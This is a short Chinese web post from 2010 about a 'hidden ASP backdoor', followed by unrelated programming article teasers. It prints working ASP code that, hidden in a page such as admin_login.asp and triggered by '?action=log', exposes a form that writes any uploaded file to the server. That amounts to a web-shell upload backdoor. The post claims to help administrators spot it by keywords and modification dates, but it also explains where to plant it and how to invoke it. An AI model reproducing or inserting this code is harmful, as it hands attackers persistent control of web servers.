隐蔽的ASP后门 大家可以查看下
发布时间：2010-08-05 21:26:00
这段后门代码可以隐藏在asp文件中，大家可以搜索一些特点的关键字，查看文件的修改日期，看看是不是有如下的代码。
<％if request.QueryString("action")="log" then
a=Request.TotalBytes:if a Then b="adodb.stream":Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a):c.Position=0:d=c.Read:e=chrB(13)&chrB(10):f=Instrb(d,e):g=Instrb(f+1,d,e):set h=Createobject(b):h.Type=1:h.Open:c.Position=f+1:c.Copyto h,g-f-3:h.Position=0:h.type=2:h.CharSet="BIG5":i=h.Readtext:h.close:j=mid(i,InstrRev(i,"\")+1,g):k=Instrb(d,e&e)+4:l=Instrb(k+1,d,leftB(d,f-1))-k-2:h.Type=1:h.Open:c.Position=k-1:c.CopyTo h,l:h.SaveToFile server.mappath(j),2％><form enctype=multipart/form-data method=post><input type=file name=n><input type=submit></form>
<％end if％>
比如编辑在“admin_login.asp”下
以后只需要输入“admin_login.asp?action=log”即可
0
投稿猜你喜欢
- 形参可以设置参数默认值，设置遵循从右至左原则例如：fun(x=0,y=1),fun(x,y=1)，但不可以是fun(x=1,y)形参设置可以
pytorch之添加BN层批标准化模型训练并不容易，特别是一些非常复杂的模型，并不能非常好的训练得到收敛的结果，所以对数据增加一些预处理，同- 前言之前提交的github copilot技术预览版申请，今天收到准入邮件，于是安上试一试这个准备把我送去电子厂上班的copy a lot
- 一直以来都对DOMDocument与 XMLHTTP 两者的区别不甚了解，今天用 eXeScope 查看了msxml6.dll 内
- 实例如下所示：//二维数组去掉重复值 public function a_array_unique($array){ $out
- 监听路由变化的几种方式小结vue页面开发中，我们经常需要根据路由的变化去实现一些操作，那么如何监听路由的变化呢？当然是利用VUE中的watc
- 循环语句（有两种）：while 语句for 语句while 语句：问题：输入一个整数n，让程序输出n行的:hello
- 因为工作上要将客户的部分资料传给第三方做进一步处理，但是因为涉及到手机号等关键个人信息，所以需要对中间四位数做匿名化的简单处理。>&g
- Pygame是跨平台Python模块，专为电子游戏设计，包含图像、声音。建立在SDL基础上，允许实时电子游戏研发而无需被低级语言（如机器语言
- 一、高级异常回顾异常相关的语句：try-except：用来捕获异常的通知try-finally：用来做一定要做的事reise：用来发生异常通
- 步骤如下：1.图片灰化；2.中值滤波 去噪3.求图片的光影（自动光学检测）4.除法去光影5.阈值操作6.实现了三种目标检测方法主要分两种连通
- 将两个嵌套for循环写成一个列表生成式如，有一个嵌套列表，a=[[1,2],[3,4],[5,6]]，要提取列表里的每一个元素用for循环处
- python3 最常用的三种装饰器语法总结1.简述语法装饰器也叫函数装饰器，主要作用是在不修改原来函数的代码情况下（函数本身不会被修改，执行
- socket只能处理一个client连接，如果需要并发处理多个链接则需要使用socketserver,下面是代码示例以及注释server端i
- 小波应用比较广泛，近期想使用其去噪。由于网上都是matlib实现，故记下一下Python的使用Pywavelet Denoisi
- 如下所示：# 输入数字使其反向输出num = int(input("请输入一个数:"))i = 0num1 = numw
- 一、安装openpyxl模块Python操作excel主要用到了openpyxl模块，按win+R打开cmd，在里面输入pip3 insta
- 这年头如果用 python3 做条形码的，肯定（推荐）用 pystrich 。这货官方文档貌似都没写到支持 Code128 ，但是居然有这个
- 一、索引的优劣势优点：可以快速的检索 、可以加快分组和排序缺点： 占用储存空间、降低数据表的修改操作二、索引的分类主键索引即主索
- 一、持续集成简介持续集成：Continuous Integration简单来说就是指，程序员在开发代码的过程中，可以频繁的将代码部署到主干上
